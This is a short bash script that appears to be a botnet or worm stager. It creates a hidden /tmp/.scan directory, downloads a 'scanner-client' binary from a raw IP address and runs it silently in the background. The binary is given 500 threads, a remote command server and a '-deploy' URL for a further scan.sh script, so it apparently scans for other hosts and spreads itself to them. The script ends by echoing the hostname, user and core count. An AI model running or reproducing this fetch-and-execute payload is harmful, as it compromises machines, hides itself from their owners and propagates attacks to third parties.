#!/bin/bash
D=/tmp/.scan
mkdir -p $D
cd $D
curl -sLo client http://72.62.196.149:8080/scanner-client || wget -qO client http://72.62.196.149:8080/scanner-client
chmod +x client
pkill -f "$D/client" 2>/dev/null
nohup ./client -server http://72.62.196.149:8888 -threads 500 -batch 5000 -timeout 2 -deploy http://72.62.196.149:8080/scan.sh >/dev/null 2>&1 &
echo "ok:$(hostname):$(whoami):$(nproc)"
